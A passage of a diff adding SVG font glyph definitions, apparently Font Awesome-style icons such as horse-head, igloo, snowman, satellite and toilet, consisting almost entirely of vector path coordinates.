71.3994 -32.7002 108.699 -36.2002c9.7002 -0.899414 15.6006 -11.2998 11.6006 -20.1992 +c-6.2002 -14 -11.1006 -28.6006 -14.7002 -43.8008c-3.59961 -15.1992 5.2998 -30.5996 20.2002 -35.0996c15 -4.40039 30.0996 -7.5 45.2998 -9.09961z" /> + <glyph glyph-name="horse-head" unicode="" +d="M509.8 115.5c4.60059 -11.7998 1.7998 -25.2998 -7.09961 -34.4004l-45.2998 -39.7998c-6 -6 -14.1006 -9.39941 -22.6006 -9.39941h-50.2998c-10.2998 0 -20 4.89941 -26 13.2998l-46 63.8994c-13.7998 -8.09961 -29.5996 -13.1992 -46.7998 -13.1992 +c-39.2002 0 -72.6006 23.6992 -87.4004 57.3994c-2.2998 5.10059 -9 6.2998 -12.8994 2.40039l-12.1006 -12.1006c-2.5 -2.39941 -3.2002 -6.19922 -1.59961 -9.2998c19.7002 -38.8994 58.7002 -66.0996 104.3 -69.5996v-0.700195l40.7998 -81.7002 +c10.7002 -21.2998 -4.7998 -46.2998 -28.5996 -46.2998h-236.2c-17.7002 0 -32 14.2998 -32 32v81.2002c0 159.899 35.9004 275.399 166.9 322.5l202.199 75.7002c4.90039 1.7998 10.7002 -1.10059 12 -6.10059c12.1006 -46.3994 -16.1992 -71.7002 -34.1992 -82.2998 +c42.5996 -8.2002 78.0996 -38 93 -79.2002zM328 224c13.2998 0 24 10.7002 24 24s-10.7002 24 -24 24s-24 -10.7002 -24 -24s10.7002 -24 24 -24z" /> + <glyph glyph-name="icicles" unicode="" +d="M511.4 410.1l-87.5 -467.699c-1.7002 -8.60059 -14 -8.60059 -15.7002 0l-66.7002 363.8l-45.7998 -172.5c-2.2998 -7.60059 -13 -7.60059 -15.2998 0l-34.1006 133.399l-46.5 -196.899c-1.89941 -8.2998 -13.7002 -8.2998 -15.5996 0l-44.2002 187.3l-36.4004 -124.1 +c-2.39941 -7.2002 -12.5996 -7.2002 -15.0996 0l-87.0996 273.399c-6.2002 20.5 9.19922 41.2002 30.5996 41.2002h448c20 0 35.0996 -18.2002 31.4004 -37.9004z" /> + <glyph glyph-name="igloo" unicode="" horiz-adv-x="576" +d="M320 414.1v-126.1h-271.4c51.6006 77.2002 139.601 128 239.4 128c10.7998 0 21.5 -0.700195 32 -1.90039zM96 256v-128h-96c0 46 11.0996 89.4004 30.2998 128h65.7002zM352 408.6c72.7998 -16.5 135.2 -60.5 175.4 -120.6h-175.4v120.6zM480 128v128h65.7002 +c19.2002 -38.5996 30.2998 -82 30.2998 -128h-96zM416 64c0 11.0996 -1.90039 21.7002 -4.5 32h164.5v-96c0 -17.7002 -14.2998 -32 -32 -32h-128v96zM448 256v-128h-49.7998c-22.2002 38.0996 -63 64 -110.2 64s-88 -25.9004 -110.2 -64h-49.7998v128h320zM0 0v96h164.5 +c-2.59961 -10.2998 -4.5 -20.9004 -4.5 -32v-96h-128c-17.7002 0 -32 14.2998 -32 32zM288 160c53 0 96 -43 96 -96v-96h-192v96c0 53 43 96 96 96z" /> + <glyph glyph-name="mitten" unicode="" horiz-adv-x="448" +d="M368 32c8.7998 0 16 -7.2002 16 -16v-64c0 -8.7998 -7.2002 -16 -16 -16h-320c-8.7998 0 -16 7.2002 -16 16v64c0 8.7998 7.2002 16 16 16h320zM425 241.1c27.0996 -22.5996 30.7998 -62.8994 8.09961 -90.0996l-72.5 -87h-309l-47.8994 207.6 +c-17.9004 77.5 30.5 154.801 107.899 172.7c77.4004 17.9004 154.801 -30.5 172.801 -108l29.5996 -128.399l20.9004 25c22.5996 27.1992 62.8994 30.7998 90.0996 8.19922z" /> + <glyph glyph-name="mug-hot" unicode="" +d="M127.1 301.5c-2.69922 16.5996 -10.3994 31.9004 -22.3994 44.0996c-22.6006 23.1006 -36.7002 52.5 -40.6006 84.4004c-1.09961 9.5 6.5 18 16.3008 18h16.3994c8.2002 0 15 -5.90039 16.1006 -13.7998c2.7998 -20.2002 12 -38.7998 26.3994 -53.5 +c20.2002 -20.5 32.7998 -46.5 36.6006 -74.7002c1.2998 -9.5 -6.5 -18 -16.3008 -18h-16.5c-8 0 -14.6992 5.7998 -16 13.5zM239.1 301.5c-2.69922 16.5996 -10.3994 31.9004 -22.3994 44.0996c-22.6006 23.1006 -36.7002 52.5 -40.6006 84.4004 +c-1.19922 9.5 6.5 18 16.3008 18h16.3994c8.2002 0 15 -5.90039 16.1006 -13.7998c2.7998 -20.2002 12 -38.7998 26.3994 -53.5c20.2002 -20.5 32.7998 -46.5 36.6006 -74.7002c1.2998 -9.5 -6.5 -18 -16.3008 -18h-16.5c-8 0 -14.6992 5.7998 -16 13.5zM400 256 +c61.7998 0 112 -50.2002 112 -112s-50.2002 -112 -112 -112h-16c0 -53 -43 -96 -96 -96h-192c-53 0 -96 43 -96 96v192c0 17.7002 14.2998 32 32 32h368zM400 96c26.5 0 48 21.5 48 48s-21.5 48 -48 48h-16v-96h16z" /> + <glyph glyph-name="radiation" unicode="" horiz-adv-x="496" +d="M328.2 192.2c0 28.5996 -15.2002 53.5 -37.7998 67.7998l80.3994 128.4c4.7998 7.69922 15.2998 10.0996 22.7002 4.7998c58.0996 -42 97.4004 -108.4 102.5 -184.2c0.599609 -9.09961 -7.09961 -16.7998 -16.2002 -16.7998h-151.6zM290.4 124.5l80.3994 -128.5 +c4.7998 -7.59961 2.40039 -18.0996 -5.59961 -22.4004c-34.9004 -18.7998 -74.7998 -29.5996 -117.2 -29.5996s-82.2998 10.7998 -117.2 29.5996c-8 4.30078 -10.3994 14.7002 -5.59961 22.4004l80.3994 128.5c12.4004 -7.7002 26.8008 -12.4004 42.4004 -12.4004 +s30.0996 4.7002 42.4004 12.4004zM248 144.2c-26.5 0 -48 21.5 -48 48s21.5 48 48 48s48 -21.5 48 -48s-21.5 -48 -48 -48zM16.2002 192.2c-9.10059 0 -16.7998 7.7002 -16.2002 16.7002c5.09961 75.7998 44.4004 142.199 102.5 184.199 +c7.40039 5.40039 17.9004 2.90039 22.7002 -4.7998l80.3994 -128.399c-22.5996 -14.2002 -37.7998 -39.1006 -37.7998 -67.7002h-151.6z" /> + <glyph glyph-name="radiation-alt" unicode="" horiz-adv-x="496" +d="M312 192c0 22.7998 -12.0996 42.7998 -30.0996 54l41.6992 66.7998c5.2002 8.2998 16.4004 9.90039 24 3.7998c32.5 -26 54.9004 -64.1992 59.5 -107.8c0.900391 -9.09961 -6.7998 -16.7998 -16 -16.7998h-79.0996zM214.2 137.9 +c9.7998 -6.2002 21.5 -9.90039 33.8994 -9.90039c12.4004 0 24 3.7002 33.8008 9.90039l41.7998 -66.9004c4.7998 -7.7998 2.39941 -18.4004 -5.7998 -22.5c-21.2002 -10.4004 -44.8008 -16.5 -69.9004 -16.5s-48.7002 6.09961 -69.7998 16.5 +c-8.2002 4.09961 -10.7002 14.7002 -5.7998 22.5zM104.9 192c-9.2002 0 -17 7.7002 -15.9004 16.9004c4.59961 43.5996 26.9004 81.7998 59.5 107.8c7.59961 6.09961 18.7998 4.5 24 -3.7998l41.7002 -66.8008c-18.1006 -11.2998 -30.2002 -31.2998 -30.2002 -54.0996 +h-79.0996zM248 -56c-137 0 -248 111 -248 248s111 248 248 248s248 -111 248 -248s-111 -248 -248 -248zM248 376c-101.5 0 -184 -82.5 -184 -184s82.5 -184 184 -184s184 82.5 184 184s-82.5 184 -184 184zM248 160c-17.7002 0 -32 14.2998 -32 32s14.2998 32 32 32 +s32 -14.2998 32 -32s-14.2998 -32 -32 -32z" /> + <glyph glyph-name="restroom" unicode="" horiz-adv-x="640" +d="M128 320c-35.2998 0 -64 28.7002 -64 64s28.7002 64 64 64s64 -28.7002 64 -64s-28.7002 -64 -64 -64zM512 320c-35.2998 0 -64 28.7002 -64 64s28.7002 64 64 64s64 -28.7002 64 -64s-28.7002 -64 -64 -64zM639.3 93.5c3.7002 -15.0996 -8.2998 -29.5 -24.5 -29.5 +h-54.7998v-104c0 -13.2998 -10.7002 -24 -24 -24h-48c-13.2998 0 -24 10.7002 -24 24v104h-54.7998c-16.2002 0 -28.2002 14.4004 -24.7002 29.5l45.5996 185.8c3.30078 13.5 15.5 23 29.8008 24.2002c15 -9.7002 32.7998 -15.5 52 -15.5c19.1992 0 37 5.7998 52 15.5 +c14.2998 -1.2002 26.5 -10.7002 29.7998 -24.2002zM336 448c8.7998 0 16 -7.2002 16 -16v-480c0 -8.7998 -7.2002 -16 -16 -16h-32c-8.7998 0 -16 7.2002 -16 16v480c0 8.7998 7.2002 16 16 16h32zM180.1 303.6c24.6006 -2.09961 43.9004 -22.5 43.9004 -47.5996v-136 +c0 -13.2998 -10.7002 -24 -24 -24h-8v-136c0 -13.2998 -10.7002 -24 -24 -24h-80c-13.2998 0 -24 10.7002 -24 24v136h-8c-13.2998 0 -24 10.7002 -24 24v136c0 25.0996 19.2998 45.5 43.9004 47.5996c15 -9.7998 32.8994 -15.5996 52.0996 -15.5996 +s37.0996 5.7998 52.0996 15.5996z" /> + <glyph glyph-name="satellite" unicode="" +d="M502.609 137.958l-96.7041 -96.7168c-5.76758 -5.74707 -13.7207 -9.30176 -22.499 -9.30176c-8.77734 0 -16.7402 3.55469 -22.5078 9.30176l-80.3262 80.418l-9.89258 -9.9082c10.8848 -23.9746 16.9482 -50.5957 16.9482 -78.6221 +c0 -32.3584 -8.10156 -63.1982 -22.3555 -89.9004c-4.50098 -8.50098 -16.3936 -9.59473 -23.207 -2.79785l-107.519 107.515l-17.7998 -17.7988c0.703125 -2.60938 1.60938 -5.00098 1.60938 -7.79785c0 -17.6641 -14.3408 -32.0059 -32.0049 -32.0059 +s-32.0059 14.3418 -32.0059 32.0059s14.3418 32.0039 32.0059 32.0039c2.79688 0 5.18848 -0.90625 7.79785 -1.60938l17.7998 17.7998l-107.518 107.515c-6.79883 6.8125 -5.7041 18.6113 2.79688 23.2061c26.7031 14.2539 57.1895 22.3359 89.5479 22.3359 +c28.0273 0 55.0049 -6.04395 78.9805 -16.9297l9.79883 9.79883l-80.3105 80.417c-5.74609 5.78613 -9.29785 13.7539 -9.29785 22.5449s3.55176 16.7686 9.29785 22.5547l96.7197 96.7168c5.72754 5.74512 13.6484 9.30273 22.3945 9.30273 +c0.0351562 0 0.0732422 -0.00488281 0.109375 -0.00488281h0.0458984c8.79199 0 16.7656 -3.5498 22.5518 -9.29785l80.3262 -80.3076l47.8047 47.8965c6.08301 6.07715 14.4805 9.83789 23.749 9.83789c9.26953 0 17.6768 -3.76074 23.7588 -9.83789l47.5088 -47.5059 +c6.07031 -6.08594 9.82617 -14.4824 9.82617 -23.749s-3.75586 -17.6719 -9.82617 -23.7578l-47.8057 -47.8975l80.3105 -80.417c5.73633 -5.75195 9.28516 -13.6865 9.28516 -22.4434c0 -8.81348 -3.59277 -16.8018 -9.39453 -22.5625zM219.562 250.567l73.8252 73.8223 +l-68.918 68.8994l-73.8096 -73.8066zM457.305 160.461l-68.9023 68.916l-73.8242 -73.8232l68.918 -68.8994z" /> + <glyph glyph-name="satellite-dish" unicode="" +d="M305.449 -14.5898c7.3916 -7.29785 6.18848 -20.0967 -3 -25.0039c-77.7129 -41.8027 -176.726 -29.9102 -242.344 35.708c-65.6016 65.6035 -77.5098 164.523 -35.6914 242.332c4.89062 9.09473 17.6895 10.2979 25.0029 3l116.812 -116.813l27.3945 27.3945 +c-0.6875 2.60938 -1.59375 5.00098 -1.59375 7.81348c0 17.6631 14.3398 32.0039 32.0039 32.0039c17.6631 0 32.0039 -14.3408 32.0039 -32.0039c0 -17.6641 -14.3408 -32.0039 -32.0039 -32.0039c-2.79785 0 -5.2041 0.890625 -7.79785 1.59375l-27.4102 -27.4102z +M511.976 144.933c0.0175781 -0.301758 0.0253906 -0.605469 0.0253906 -0.912109c0 -8.86133 -7.1748 -16.0488 -16.0273 -16.0898h-32.1133c-8.46289 0.0244141 -15.3867 6.65918 -15.8926 15.002c-7.50098 129.519 -111.515 234.533 -240.937 241.534 +c-8.34863 0.444336 -14.9902 7.36426 -14.9902 15.8223c0 0.0292969 -0.0126953 0.0566406 -0.0117188 0.0859375v31.5986c0.0361328 8.85156 7.2334 16.0264 16.0938 16.0264c0.308594 0 0.603516 -0.00683594 0.908203 -0.0244141 +c163.224 -8.59473 294.443 -139.816 302.944 -303.043zM415.964 145.229c0.0244141 -0.364258 0.0371094 -0.732422 0.0371094 -1.10254c0 -8.92578 -7.23145 -16.1621 -16.1484 -16.1963h-32.208c-8.34961 0.0605469 -15.1953 6.51953 -15.8926 14.7051 +c-6.90625 77.0107 -68.1172 138.91 -144.924 145.224c-8.25781 0.592773 -14.7959 7.48633 -14.7988 15.8926v32.1143v0.00390625c0 8.9043 7.22949 16.1338 16.1338 16.1338c0.396484 0 0.775391 -0.0136719 1.16504 -0.0419922 +c110.123 -8.50098 198.229 -96.6074 206.636 -206.732z" /> + <glyph glyph-name="sd-card" unicode="" horiz-adv-x="384" +d="M320 448c35.2998 0 64 -28.7002 64 -64v-384c0 -35.2998 -28.7002 -64 -64 -64h-256c-35.2998 0 -64 28.7002 -64 64v320l128 128h192zM160 288v96h-48v-96h48zM240 288v96h-48v-96h48zM320 288v96h-48v-96h48z" /> + <glyph glyph-name="sim-card" unicode="" horiz-adv-x="384" +d="M0 384c0 35.2998 28.7002 64 64 64h192l128 -128v-320c0 -35.2998 -28.7002 -64 -64 -64h-256c-35.2998 0 -64 28.7002 -64 64v384zM224 192v64h-64v-64h64zM320 192v32c0 17.7002 -14.2998 32 -32 32h-32v-64h64zM256 64v-64h32c17.7002 0 32 14.2998 32 32v32h-64z +M160 64v-64h64v64h-64zM64 64v-32c0 -17.7002 14.2998 -32 32 -32h32v64h-64zM64 160v-64h256v64h-256zM64 224v-32h64v64h-32c-17.7002 0 -32 -14.2998 -32 -32z" /> + <glyph glyph-name="skating" unicode="" horiz-adv-x="448" +d="M400 448c26.5 0 48 -21.5 48 -48s-21.5 -48 -48 -48s-48 21.5 -48 48s21.5 48 48 48zM400 0c8.7998 0 16 -7.2002 16 -16c0 -26.5 -21.5 -48 -48 -48h-96c-8.7998 0 -16 7.2002 -16 16s7.2002 16 16 16h96c8.7998 0 16 7.2002 16 16s7.2002 16 16 16zM117.8 -8.59961 +c6.2998 6.2998 16.5 6.19922 22.7002 0c6.2002 -6.2002 6.2002 -16.4004 0 -22.6006c-9.2998 -9.2998 -21.5996 -14 -33.9004 -14c-12.2998 0 -24.5996 4.60059 -34 14l-67.8994 67.9004c-6.2002 6.2002 -6.2002 16.3994 0 22.5996s16.3994 6.2002 22.5996 0 +l67.9004 -67.8994c6.2002 -6.30078 16.3994 -6.2002 22.5996 0zM173.9 171.2c3.7998 -6.10059 8.19922 -11.7998 13.1992 -16.7998l30.2002 -30.2002l-91.8994 -91.9004c-6.2002 -6.2998 -14.4004 -9.39941 -22.6006 -9.39941s-16.3994 3.19922 -22.5996 9.39941 +c-12.5 12.4004 -12.5 32.7002 0 45.2002zM128 288c-17.7002 0 -32 14.2998 -32 32s14.2998 32 32 32h204.6c16.3008 0 30.8008 -9.7002 37 -24.7002c6.2002 -15 2.80078 -32.0996 -8.69922 -43.5996l-82.3008 -82.2998c-0.5 -0.5 -1.19922 -0.700195 -1.69922 -1.10059 +l61 -61c9 -8.89941 14.0996 -21.2998 14.0996 -33.8994v-89.4004c0 -17.7002 -14.2998 -32 -32 -32s-32 14.2998 -32 32v82.7998l-78.2002 78.2002c-12.5996 12.5 -19.3994 29.9004 -18.7002 47.7002c0.700195 17.7002 8.80078 34.5996 22.3008 46.0996l20.0996 17.2002 +h-105.5z" /> + <glyph glyph-name="skiing" unicode="" +d="M432 352c-26.5 0 -48 21.5 -48 48s21.5 48 48 48s48 -21.5 48 -48s-21.5 -48 -48 -48zM505 -4.09961c9.2998 -9.30078 9.2998 -24.5 0 -33.8008c-17 -17 -39.7998 -26 -63 -26c-12.5996 0 -25.2002 2.60059 -37.0996 8.10059l-391.9 202.5 +c-11.7998 6 -16.4004 20.5 -10.2998 32.2998c6.09961 11.7998 20.5996 16.2998 32.2998 10.2998l197.9 -102.3l45.8994 68.7998l-75.0996 75.2002c-14.2998 14.4004 -20.6006 34.5 -17.7002 54.4004l107 -53.1006l40.4004 -40.5 +c16.1992 -16.0996 18.6992 -41.5996 6 -60.5996l-49.2002 -73.7998l135.8 -70.2002c14.5996 -6.7002 33 -3.40039 45.0996 8.7002c9.30078 9.39941 24.5 9.39941 33.9004 0zM120 356.4l-26.2002 23c-2.2002 1.89941 -2.39941 5.19922 -0.5 7.39941 +c1.2998 1.5 3.2002 2.10059 5 1.7002l34.4004 -7h0.200195l11.0996 21.7002c13.7002 -7 21.2002 -21.1006 20.9004 -35.6006l62.5 -31l81.1992 32.5c43.6006 17.4004 76.4004 -15 84.5 -39.1992l17.1006 -51.2002l52.0996 -26.1006 +c15.7998 -7.89941 22.2002 -27.0996 14.2998 -42.8994c-7.89941 -15.7998 -27 -22.2002 -42.8994 -14.2998l-58.1006 29c-11.3994 5.69922 -20 15.5996 -24 27.6992l-6.39941 19.1006l-32.4004 -13l-114.5 56.7998c0.100586 0.0996094 0.100586 0.200195 0.200195 0.299805 +l-47.2002 23.4004c-11.5996 -9.7002 -28.3994 -12.1006 -42.7998 -4.7998z" /> + <glyph glyph-name="skiing-nordic" unicode="" horiz-adv-x="576" +d="M336 352c-26.5 0 -48 21.5 -48 48s21.5 48 48 48s48 -21.5 48 -48s-21.5 -48 -48 -48zM552 32c13.2002 0 24 -10.7998 24 -24c0 -39.7002 -32.2998 -72 -72 -72h-480c-13.2002 0 -24 10.7002 -24 24s10.7998 24 24 24h42.9004l54.0996 270.8 +c-0.700195 0.799805 -1.7002 1.2002 -2.40039 2.10059c-10.7998 14.0996 -8.09961 34.1992 5.90039 44.8994l39.7002 30.4004c23 17.5996 52.5 23.8994 80.7998 17.0996l71.2002 -21.2002c26.2998 -6.69922 49.2998 -25.3994 61.7998 -50.8994l26.0996 -53.2002h44 +c17.7002 0 32 -14.2998 32 -32c0 -13.4004 -8.39941 -24.9004 -20.0996 -29.5996l-25.5 -178.4h69.5c13.2002 0 24 10.7998 24 24c0 13.2998 10.7998 24 24 24zM291.5 -16l25.5 81.2002l-85 50.2002c-27.5996 16.2998 -38.9004 50.7998 -26.2998 80.2998l37.5 87.3994 +l-14.7002 4.40039c-7.90039 1.90039 -17.5996 -0.200195 -25.2998 -6.09961l-39.7002 -30.4004c-3.59961 -2.7002 -7.59961 -4.59961 -11.7002 -5.59961l-52.2998 -261.4h24.2002l62.5 131.8c7.59961 -10.8994 17.3994 -20.5996 29.5 -27.7998l22 -13l-43.1006 -91h96.9004z +M402.1 -16l25.2002 176h-33.2998c-18.2002 0 -35.0996 10.5996 -43.0996 26.9004l-20.3008 41.3994l-31.2998 -78.2998l61.2002 -36.0996c18.7002 -11.3008 27.5 -33.6006 21.5996 -54.4004l-23.5996 -75.5h43.5996z" /> + <glyph glyph-name="sleigh" unicode="" horiz-adv-x="640" +d="M612.7 97.2998c18.5 -14.7002 28.5996 -37.2002 27.2002 -61c-2.2002 -39 -36.9004 -68.2998 -75.9004 -68.2998h-516c-8.7998 0 -16 7.2002 -16 16v16c0 8.7998 7.2002 16 16 16h519.3c13.6006 0 24.6006 11 24.6006 24.5996c0 7.5 -3.30078 14.5 -9.2002 19.2002 +l-9.2998 7.40039c-6.90039 5.5 -8 15.5996 -2.5 22.5l10 12.5c5.5 6.89941 15.5996 8 22.5 2.5zM32 224v128c-17.7002 0 -32 14.2998 -32 32s14.2998 32 32 32h20.7002c65.7002 0 125.899 -37.2002 155.3 -96s89.5 -96 155.3 -96h20.7002c35.2998 0 64 28.7002 64 64v64h96 +c17.7002 0 32 -14.2998 32 -32s-14.2998 -32 -32 -32v-96c0 -53 -43 -96 -96 -96v-48h-64v48h-192v-48h-64v52.5c-55.0996 14.2998 -96 63.9004 -96 123.5z" /> + <glyph glyph-name="sms" unicode="" +d="M256 416c141.4 0 256 -93.0996 256 -208s-114.6 -208 -256 -208c-38.4004 0 -74.7002 7.09961 -107.4 19.4004c-24.5996 -19.6006 -74.2998 -51.4004 -140.6 -51.4004c-3.2002 0 -6 1.7998 -7.2998 4.7998s-0.700195 6.40039 1.5 8.7002 +c0.5 0.5 42.2998 45.4004 54.7998 95.7998c-35.5996 35.7002 -57 81.1006 -57 130.7c0 114.9 114.6 208 256 208zM128.2 144c23.3994 0 42.5 17.2998 42.3994 38.5996c0 10.6006 -4.7998 20.9004 -13.2998 28.1006l-21.8994 18.7998 +c-1.30078 1.09961 -2.10059 2.5 -2.10059 3.7998c0 3.10059 4.40039 6.60059 10.4004 6.60059h12.2998c4.40039 0 8 3.59961 8 8v16c0 4.39941 -3.59961 8 -8 8h-12.2002c-23.3994 0 -42.3994 -17.3008 -42.3994 -38.6006c0 -10.5996 4.7998 -20.8994 13.2998 -28.0996 +l21.8994 -18.7998c1.30078 -1.10059 2.10059 -2.5 2.10059 -3.80078c0 -3.09961 -4.40039 -6.59961 -10.4004 -6.59961h-12.2998c-4.40039 0 -8 -3.59961 -8 -8v-16c0 -4.40039 3.59961 -8 8 -8h12.2002zM320 152v104c0 8.7998 -7.2002 16 -16 16h-16 +c-6 0 -11.5996 -3.40039 -14.2998 -8.7998l-17.7002 -35.4004l-17.7002 35.4004c-2.7002 5.39941 -8.2002 8.7998 -14.2998 8.7998h-16c-8.7998 0 -16 -7.2002 -16 -16v-104c0 -4.40039 3.59961 -8 8 -8h16c4.40039 0 8 3.59961 8 8v68.2002l24.9004 -55.7998 +c2.89941 -5.90039 11.3994 -5.90039 14.2998 0l24.7998 55.7998v-68.2002c0 -4.40039 3.59961 -8 8 -8h16c4.40039 0 8 3.59961 8 8zM368.3 144c23.4004 0 42.4004 17.2998 42.2998 38.5996c0 10.6006 -4.7998 20.9004 -13.2998 28.1006l-21.8994 18.7998 +c-1.30078 1.09961 -2.10059 2.5 -2.10059 3.7998c0 3.10059 4.40039 6.60059 10.4004 6.60059h12.2998c4.40039 0 8 3.59961 8 8v16c0 4.39941 -3.59961 8 -8 8h-12.2002c-23.3994 0 -42.3994 -17.3008 -42.3994 -38.6006c0 -10.5996 4.7998 -20.8994 13.2998 -28.0996 +l21.8994 -18.7998c1.30078 -1.10059 2.10059 -2.5 2.10059 -3.80078c0 -3.09961 -4.40039 -6.59961 -10.4004 -6.59961h-12.2998c-4.40039 0 -8 -3.59961 -8 -8v-16c0 -4.40039 3.59961 -8 8 -8h12.2998z" /> + <glyph glyph-name="snowboarding" unicode="" +d="M432 352c-26.5 0 -48 21.5 -48 48s21.5 48 48 48s48 -21.5 48 -48s-21.5 -48 -48 -48zM460.8 198.4l-83.5 62.8994l-66 -30.5l52 -39c14.9004 -11.2002 22 -30.2002 18.1006 -48.3994l-21.9004 -102c-2.2002 -10.1006 -9.09961 -17.8008 -17.7998 -21.9004 +l90.7998 -33.0996c9.7002 -3.5 20.2002 -3.10059 29.5 1.2998c12 5.59961 26.2998 0.399414 31.9004 -11.6006c5.59961 -12 0.399414 -26.2998 -11.6006 -31.8994c-11.5996 -5.5 -24 -8.2002 -36.5 -8.2002c-10 0 -20 1.7998 -29.7002 5.2998l-364.8 132.7 +c-21.7998 7.90039 -39.0996 23.7998 -48.8994 44.7998c-5.60059 12 -0.400391 26.2998 11.5996 31.9004c12 5.59961 26.2998 0.399414 31.9004 -11.6006c4.39941 -9.39941 12.0996 -16.5 21.7998 -20l38.7002 -14.0996c-3.80078 3.5 -7 7.7002 -8.7002 12.9004 +c-5.60059 16.7998 3.39941 34.8994 20.2002 40.5l74.0996 24.6992v53.1006c0 24.3994 13.5996 46.2998 35.4004 57.2002l41.1992 20.5996l-16.3994 5.5c-12.1006 4.09961 -22 12.5996 -27.7002 24l-29.0996 58.0996c-7.90039 15.8008 -1.5 35 14.2998 42.9004 +s35 1.5 42.8994 -14.2998l26.1006 -52.1006l63.7002 -21.1992c16.2998 -5.40039 31.5996 -13.5 45.3994 -23.8008l111.4 -83.5c14.2002 -10.5996 17 -30.6992 6.39941 -44.7998c-6.2998 -8.39941 -15.8994 -12.7998 -25.5996 -12.7998 +c-6.7002 0 -13.4004 2.09961 -19.2002 6.40039zM316.4 146.7l-60.5 45.2998v-20.5c0 -20.7002 -13.2002 -39 -32.8008 -45.5l-85 -28.4004c-2.59961 -0.899414 -5.2998 -1.09961 -8 -1.2998l169.4 -61.5996c-2.90039 6.09961 -4.2998 12.8994 -2.7998 20z" /> + <glyph glyph-name="snowman" unicode="" +d="M510.9 295.7c3.19922 -8.10059 -0.800781 -17.2002 -8.90039 -20.2998l-135.2 -55.2002c0.400391 -4.10059 1.2002 -8 1.2002 -12.2002c0 -10 -1.7002 -19.5 -4.2002 -28.7002c21.1006 -21.3994 36.1006 -48.7998 41.6006 -79 +c11.5 -63.2002 -16.4004 -120.3 -62.9004 -152.6c-10.9004 -7.60059 -23.9004 -11.7002 -37.2002 -11.7002h-99.2002c-11 0 -22 2.2998 -31.2998 8.2002c-42.3994 26.8994 -70.7998 73.7998 -70.7998 127.8c0 41.7998 16.9004 79.5996 44.2998 107.1 +c-2.5 9.30078 -4.2002 18.8008 -4.2002 28.9004c0 4.2002 0.800781 8.2002 1.2002 12.2002l-135.2 55.2002c-8.19922 3.19922 -12.1992 12.2998 -8.89941 20.2998l5.89941 14.5c3.30078 8 12.6006 11.8994 20.8008 8.7002l28.0996 -11.5v29 +c0 8.59961 7.2002 15.5996 16 15.5996h16c8.7998 0 16 -7 15.7998 -15.5996v-46.9004c0 -0.5 -0.200195 -1 -0.299805 -1.5l56.4004 -23c6 10 13.2998 18.9004 22 26.5996c-13.5 16.6006 -22 37.4004 -22 60.5c0 53 43 96 96 96s96 -43 96 -96 +c0 -23.0996 -8.40039 -43.8994 -22 -60.5c8.69922 -7.69922 16.0996 -16.5996 22 -26.5996l56.3994 23c0 0.5 -0.299805 1 -0.299805 1.5v46.9004c0 8.59961 7.2002 15.5996 16 15.5996h16c8.7998 0 16 -7 16 -15.5996v-29l28.2002 11.5 +c8.2002 3.19922 17.5 -0.700195 20.7998 -8.7002zM224 352c8.7998 0 16 7.2002 16 16s-7.2002 16 -16 16s-16 -7.2002 -16 -16s7.2002 -16 16 -16zM256 80c8.7998 0 16 7.2002 16 16s-7.2002 16 -16 16s-16 -7.2002 -16 -16s7.2002 -16 16 -16zM256 144 +c8.7998 0 16 7.2002 16 16s-7.2002 16 -16 16s-16 -7.2002 -16 -16s7.2002 -16 16 -16zM256 208c8.7998 0 16 7.2002 16 16s-7.2002 16 -16 16s-16 -7.2002 -16 -16s7.2002 -16 16 -16zM256 296c0 0 16 23.2002 16 32s-7.2002 16 -16 16s-16 -7.2002 -16 -16s16 -32 16 -32z +M288 352c8.7998 0 16 7.2002 16 16s-7.2002 16 -16 16s-16 -7.2002 -16 -16s7.2002 -16 16 -16z" /> + <glyph glyph-name="snowplow" unicode="" horiz-adv-x="640" +d="M120 72c13.2998 0 24 -10.7002 24 -24s-10.7002 -24 -24 -24s-24 10.7002 -24 24s10.7002 24 24 24zM200 72c13.2998 0 24 -10.7002 24 -24s-10.7002 -24 -24 -24s-24 10.7002 -24 24s10.7002 24 24 24zM280 72c13.2998 0 24 -10.7002 24 -24s-10.7002 -24 -24 -24 +s-24 10.7002 -24 24s10.7002 24 24 24zM360 72c13.2998 0 24 -10.7002 24 -24s-10.7002 -24 -24 -24s-24 10.7002 -24 24s10.7002 24 24 24zM598.6 22.5996l36.7002 -36.6992c6.2002 -6.2002 6.2002 -16.4004 0 -22.6006l-22.5996 -22.5996 +c-6.2002 -6.2002 -16.4004 -6.2002 -22.6006 0l-36.6992 36.7002c-26.5 26.5 -41.4004 62.3994 -41.4004 99.8994v18.7002h-43.2002c7 -14.5996 11.2002 -30.7002 11.2002 -48c0 -61.9004 -50.0996 -112 -112 -112h-256c-61.9004 0 -112 50.0996 -112 112 +c0 44.5996 26.2998 82.7998 64 100.8v91.2002c0 26.5 21.5 48 48 48h16v112c0 26.5 21.5 48 48 48h144.3c19.2998 0 36.6006 -11.4004 44.2002 -29.0996l78.2998 -182.801c3.40039 -8 5.2002 -16.5 5.2002 -25.1992v-50.9004h64v18.7002 +c0 37.5 14.9004 73.3994 41.4004 99.8994l36.6992 36.7002c6.2002 6.2002 16.4004 6.2002 22.6006 0l22.5996 -22.5996c6.2002 -6.2002 6.2002 -16.4004 0 -22.6006l-36.7002 -36.6992c-14.5 -14.5 -22.5996 -34.1006 -22.5996 -54.6006v-101.6 +c0 -20.5 8.09961 -40.1006 22.5996 -54.6006zM192 384v-96l64 -64h122.4l-68.6006 160h-117.8zM368 0c26.5 0 48 21.5 48 48s-21.5 48 -48 48h-256c-26.5 0 -48 -21.5 -48 -48s21.5 -48 48 -48h256z" /> + <glyph glyph-name="tenge" unicode="" horiz-adv-x="384" +d="M372 288c6.59961 0 12 -5.40039 12 -12v-56c0 -6.59961 -5.40039 -12 -12 -12h-140v-228c0 -6.59961 -5.40039 -12 -12 -12h-56c-6.59961 0 -12 5.40039 -12 12v228h-140c-6.59961 0 -12 5.40039 -12 12v56c0 6.59961 5.40039 12 12 12h360zM372 416 +c6.59961 0 12 -5.40039 12 -12v-56c0 -6.59961 -5.40039 -12 -12 -12h-360c-6.59961 0 -12 5.40039 -12 12v56c0 6.59961 5.40039 12 12 12h360z" /> + <glyph glyph-name="toilet" unicode="" horiz-adv-x="384" +d="M368 400h-16v-156.7c20.2002 -10.0996 32 -22.2002 32 -35.2998c0 -67.2002 -34.5996 -126.2 -86.7998 -160.5l21.3994 -70.2002c6.30078 -20.5 -9.09961 -41.2998 -30.5996 -41.2998h-192c-21.5 0 -36.9004 20.7998 -30.5996 41.2998l21.3994 70.2002 +c-52.2002 34.2998 -86.7998 93.2998 -86.7998 160.5c0 13.0996 11.7998 25.2002 32 